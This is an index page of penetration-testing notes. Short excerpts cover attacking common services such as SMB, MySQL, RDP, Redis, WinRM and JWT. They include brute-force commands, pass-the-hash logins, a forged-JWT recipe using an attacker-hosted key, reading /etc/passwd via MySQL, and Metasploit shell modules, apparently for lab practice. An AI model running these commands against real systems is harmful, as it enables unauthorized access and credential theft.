akde/infosec

Click Here

  • Intelligent Platform Management Interface (IPMI)

    UDP 623 https://book.hacktricks.xyz/pentesting/623-udp-ipmi Metas­plot: scanner/ipmi/ipmi_version scanner/ipmi/ipmi_dumphashes ipmitool Tool for man­ag­ing IPMI See hack­tricks article

  • JWT Java Web Token

    Use https://jwt.io/ to decode JWT  It also shows the var­i­ous parts. A JWT token has mul­ti­ple parts in base64, sep­a­rat­ed by a point character. Create JWT token Cre­ate PEM SSH key: openssl genrsa -out private.pem 2048 Cre­ate base64 from head­er and payload: $ echo -n '{"typ":"JWT","alg":"RS256","kid":"http://10.10.14.17/private.pem"}' | base64 -w0 | sed s/+/-/ | sed -E s/=+$// =>…

  • IKE Internet Key Exchange

    IKE is used on VPN servers on UDP 500. Test a serv­er with ike-scan -M $target Exam­ple output: SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration(4)=0x00007080) Ending ike-scan 1.9.4: 1 hosts scanned in 0.039 seconds (25.32 hosts/sec). 1 returned handshake; 0 returned notify PSK means that a pre­shared key is used. 1 returned hand­shake, 0, returned noti­fy means that…

  • POP3 Post Office Protocol

    Exam­ple: # telnet $target 110 Trying 10.10.10.51… Connected to 10.10.10.51. Escape character is '^]'. +OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready USER mindy +OK PASS root +OK Welcome mindy LIST +OK 2 1945 1 1109 2 836 . RETR 1 +OK Message follows ...

  • POP3S Post Office Protocol

    See POP3.

  • SMTP Simple Mail Transfer Protocol

    Login Bevor login, con­vert user­name and pass­word into base64. (!) Use tel­net — nc some­times does not work and does not return the server’s response! HELO mynameAUTH LOGINcm9vdAo= // username in base64334 Server reponds with base64 stringcm9vdAo= // password in base64235 ok // success

  • SNMP Simple Network Management Protocol

    Detect SNMP-devices: nmap -sU --open -p 161 10.11.1.1-254 -oG mega-snmp.txt onesixtyone Brute force of com­mu­ni­ty strings against IPs. The fol­low­ing exam­ple tries to log in into SMTP devis­es via a giv­en IP and giv­en com­mu­ni­ty names. echo public > community echo private >> community echo manager >> community for ip in $(seq 1 254);do echo 10.11.1.$ip;done…

  • DNS Domain Name System

    Manual enumeration Subdomain enumeration Put usu­al domain names (Seclists!) and iter­ate them with the bash $ for ip in $(cat list.txt); do host $ip.domain.com; done IP enumeration Enu­mer­ate an IP range to find domains $ for ip in $(seq 50 100); do host 38.100.193.$ip; done | grep -v "not found" Zone transfer Per­form a DNS zone…

  • SSH Secure Shell

    Notes If the serv­er needs old cryp­to, use -oKexAlgorithms=+diffie-hellman-group1-sha1 OpenSSH 7.7. allows to enu­mer­ate exist­ing users. It could be pos­si­ble on Win­dows 10 ssh-agent to extract the keys. Keys Get fin­ger­prints nmap -p22 --script ssh-hostkey $target Get hostkeys nmap -p22 --script ssh-hostkey --script-args ssh_hostkey=full $target Extract fin­ger­prints from exist­ing key file: ssh-keygen -E md5 -lf /tmp/found_keyssh-keygen -E sha1…

  • SVN Subversion

    Check­out a repo: svn checkout svn://... Show log svn log Show infos svn info Show all branches svn ls svn://$victim --verbose The first num­ber from the pre­vi­ous com­mand shows the revi­sion. To see the con­tent of a repo for anoth­er revi­sion, add the r flag: svn ls svn://$victim --verbose -r 1 svn ls svn://$victim --verbose -r 2…

  • RDP Remote Desktop Protocol

    Use rdesk­top for a nor­mal login rdesktop $target Nor­mal login for a local user xfreerdp /cert-ignore /u:user /p:pass /v:$target Login for a domain user xfreerdp /cert-ignore /u:user /d:dom.com /p:pass /v:1$target To log in with a NTML hash, use xfreerdp. xfreerdp /u:Peter /pth:666fb5b812a486f87062670c3baf1852 /v:$target Acti­vate net localgroup "Remote Desktop Users" Administrator /add Create a new admin and enable…

  • SMB Server Message Block

    Show shares with smbclient: smbclient --no-pass -L //$targetsmbclient -U guest //$target/smbclient -U Administrator --pw-nt-hash $NTLMHASH \\\\$target\\directory Show shares with oth­er clients: smbmap -R -H $target // No usersmbmap -u L4mpje -p 'bureaulampje' -d WORKGROUP -H $target -R // Usernmap -sV --script=smb-enum-shares -p445 $targetcrackmapexec smb $target -u '' -p '' --shares Vul­ner­a­bil­i­ty scan nmap --script=smb-vul* -p445 $target…

  • RMI Java Remote Method Invocation

    Java Remote Method Invo­ca­tion is a method to exe­cute code remote­ly on oth­er sys­tems. This Ora­cle doc­u­ment describes it. But to use it, a pro­gram has to been uploaded first or it has to be known how to com­mu­ni­cate with it. General A Java reg­istry dae­mon has to be running.  Run rmireg­istry (bun­dled with Java) from…

  • Telnet

    NTML infos nmap -p 23 --script telnet-ntlm-info $target Brute-force nmap -p 23 --script telnet-brute --script-args userdb=users.txt,passdb=passwords.txt,telnet-brute.timeout=5s $target hydra -P passwords.txt -L users.txt $target telnet -V hydra -C users_and_passwords.txt $target telnet -V

  • JServ Apache Tomcat

    Overview Tom­cat usu­al­ly lis­tens on the fol­low­ing ports: 8080 — HTTP 8005 — Port for shut­ting down the Tom­cat serv­er; not inter­est­ing here 8009 — Same func­tions as the HTTP port, but via the Apache JServ pro­to­col AJP.  AJP is basi­cal­ly HTTP in a compressed/binary form. Checklist Check if /manager is accessible.  Default cre­den­tials are tom­cat / s3cret or…

  • MSSQL Microsoft SQL

    Access­ing in Linux: impacket-mssqlclient Administrator:password@$target -windows-auth Default data­bas­es are: Enumeration Deter­mine version nmap -p 445 --script ms-sql-info $target Via metas­ploit auxiliary/scanner/mssql/mssql_ping Via Impack­et mssqlinstance.py $target Login brute force scanner/mssql/mssql_login When an account is known, enu­mer­ate for vulnerabilities auxiliary/admin/mssql/mssql_enum Exploitation Exe­cute commands auxiliary/admin/mssql/mssql_exec Get shell windows/mssql/mssql_payload Tools Com­mand line sqsh -U sa -P $password -S $target:1433 From Pow­er­Shell sqlcmd -S…

  • LDAP Lightweight Directory Access Protocol

    Ports: ldap 389/tcp ldaps 636/tcp globalldap/globalcatldap 3268/tcp globalldaps/globalcatldapssl 3269/tcp Enumerate without credentials Nmap enu­mer­a­tion scans nmap -n -sV --script "ldap* and not brute" $target Ldapsearch scan ldapsearch -x -h $target -D '' -w '' -b "DC=BLA,DC=local" Con­nect to LDAPs/GlobalLDAPs: openssl s_client -connect $target:636 </dev/null openssl s_client -connect $target:3269 </dev/null Search in the directory: ldapsearch -x -b…

  • WinRM Windows Remote Management

    Win­dows Remote Man­age­ment (Win­RM / wsman) is a ser­vice which runs on port 5985 and 5986. Evil Winrm Github | Opens a shell for a user root@kali:~# evil-winrm -i $victim -u melanie -p 'Welcome123!' For many users: for cred in $(cat user_pass.txt); do username=$(echo $cred | cut -d ',' -f 1) password=$(echo $cred | cut -d ',' -f…

  • Kerberos

    Basics Authen­ti­ca­tion sequence for an user to log in on a domain (con­troller): Authen­ti­ca­tion sequence for an authen­ti­cat­ed user on a local system: Terminology Ker­beroast­ing means an offline crack­ing of the pass­word in the NTLM hash. Use­less if the ser­vice runs as ser­vice user. Then, the pass­word will be replaced by a 128 char­ac­ter long…

  • Redis

    Runs on port 6379 — needs a full nmap scan! If conec­tion is pos­si­ble via tel­net, use­ful com­mands are:  info CONFIG GET * all keys: keys * It is pos­si­ble to deter­mine which direc­to­ries exist:  config set dir /var/www/htdocs -ERR Changing directory: No such file or directory set dir /var/www +OK set dir /var/www/html +OK Upload SSH key via redis…

  • MongoDB

    Con­nect from the com­mand line mongo 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace' Show data­bas­es show dbs Switch to database use <db> Show all col­lec­tions (“tables”) show collections Show all entries from a collection db.<collection>.find() Add a document db.products.insert( { item: "card", qty: 15 } ) Injections Show all records of the cur­rent table, assum­ing there is a WHERE clause for one field.…

  • VNC Virtual Network Computing

    Brute force is pos­si­ble with nmap: # nmap --script vnc-brute -p 5900 localhost For TightVNC, use vncp­wd to break pass­words. A pass­word can be obtained via reg query HKLM\Software\TightVNC\Server\ /v Password

  • NFS Network File System

    Dis­plays all avail­able net­work shares: showmount -e $target Nor­mal mount mount -t nfs $target:/home /mnt Mount­ing with nfspy — with the hide option, it mounts and unmounts for the serv­er so the vic­tim can­not see the new con­nec­tion via showmount. nfspy -o server=192.168.1.124:/home,hide,allow_other,ro,intr /mnt Mount via SSH ssh -N -L 3049:localhost:2049 user@hostname mount -t nfs -o port=3049…

  • RPC Remote Procedure Call

    tcp/135 udp/135 — and as (Microsoft) Remote Pro­ce­dure Call on tcp/593 as web service. Enumeration Obtain gen­er­al information # rpcinfo -p $target # rpcinfo -s $target Con­nect. Hint: auto com­ple­tion works; enum<tab> returns all enum commands. rpcclient -U "" $target Enu­mer­ate through all API end­points with one of the fol­low­ing options. python /usr/local/bin/rpcdump.py $target |…

  • MySQL My Structured Query Language

    Con­nect: mysql --host=10.10.10.13 -P4444 -u admin admin Var­i­ous commands: Enumeration Nmap scripts nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 $victim proxychains4 -q nmap -sV -sT -Pn -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 $victim Exploitation Read and write Read with the cur­rent process id: SELECT load_file('/etc/passwd'); Write as the dae­mon process id: CREATE TABLE bbb(content TEXT); INSERT INTO bbb (content)…

  • FTP File Transfer Protocol

    Note that FTP does­n’t show hid­den files! Try in Win­dows e.g “cd ProgramData”. Enumeration With nmap. Scans a net­work for ftp servers which allow anony­mous access. nmap -v -p21 --script=ftp-anon.nse 10.11.1.1-254 FTP relays The FTP spec­i­fi­ca­tion defines FTP relays. One FTP serv­er can say to anoth­er FTP serv­er to send files to anoth­er third-par­ty serv­er.…